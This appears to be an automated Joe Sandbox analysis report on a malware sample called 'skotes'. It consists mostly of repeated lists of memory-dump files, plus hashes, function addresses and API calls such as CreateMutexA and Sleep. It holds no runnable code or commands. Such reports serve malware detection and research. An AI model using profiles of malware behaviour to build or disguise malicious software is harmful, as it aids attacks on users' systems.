Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 4ce88d98fbfd326d1ccdf091f6bea2ed4c82f6224df08b68dc69d67612e8bc1d
Instruction ID: a98d0abab40f3a5ac5ecab1108d790311c27da64a21862800ee3280813e03a6a
Opcode Fuzzy Hash: 4ce88d98fbfd326d1ccdf091f6bea2ed4c82f6224df08b68dc69d67612e8bc1d
Instruction Fuzzy Hash: D93127316041449BEB18EB6CDC8576CB7F2EBC6314F24C699E028972D5D77599808712

Function 00B7A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A41B
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 4bb9e91bcfebf39c55388c735f7fec8d47a36a52c9f5ab87bae7249e6017b8f6
Instruction ID: 3503c3ef686c06deec275b37f773a40523210b2f87cec3243cfc7868dbf8107b
Opcode Fuzzy Hash: 4bb9e91bcfebf39c55388c735f7fec8d47a36a52c9f5ab87bae7249e6017b8f6
Instruction Fuzzy Hash: 0D315B316041009BEB08EB7CD889B6DB7E1DBC2314F248699E068D73D5E7B699808753

Function 00B7A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A550
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9fb650fd0f09f349d48b33a4b817aa3c8f38d2a33e6f63b8b362d396f134a096
Instruction ID: 941648a90486ad79a1dc389960f962a7e39489da4434135e293692450b132572
Opcode Fuzzy Hash: 9fb650fd0f09f349d48b33a4b817aa3c8f38d2a33e6f63b8b362d396f134a096
Instruction Fuzzy Hash: AC3117316041058BEB08DB7CD8C9B6DB7E2EBC6714F248699E068D72D2DB75D9808713

Function 00B7A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A685
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 0c2232bbe926b7e369143fad17d9a2c35987c3f69bda0f06f1ac1f1defdd4a64
Instruction ID: 80f1fd12caeec3061210d935bc143fdec865dc6245c1a7806b471aa1ea6a31df
Opcode Fuzzy Hash: 0c2232bbe926b7e369143fad17d9a2c35987c3f69bda0f06f1ac1f1defdd4a64
Instruction Fuzzy Hash: ED3125316042048BEB48DB7CDC89B6DBBE2DBC6310F24C699E028DB2D2D77599808753

Function 00B7A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A7BA
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 3e603dc68e1e35ad958a0efad64439fac8bc30397c5387a5a26669f10b221dff
Instruction ID: d5655bd5769a2ec941304c0ff7d867fb56304a601415264d41f4dda63bd1d0bd
Opcode Fuzzy Hash: 3e603dc68e1e35ad958a0efad64439fac8bc30397c5387a5a26669f10b221dff
Instruction Fuzzy Hash: 3B312531A04104CBEB08DB6CDD89B6DBBE6DBC6310F248699E028972D1D77599818713

Function 00B78380 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00B78524

Strings

(q, xrefs: 00B78412

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
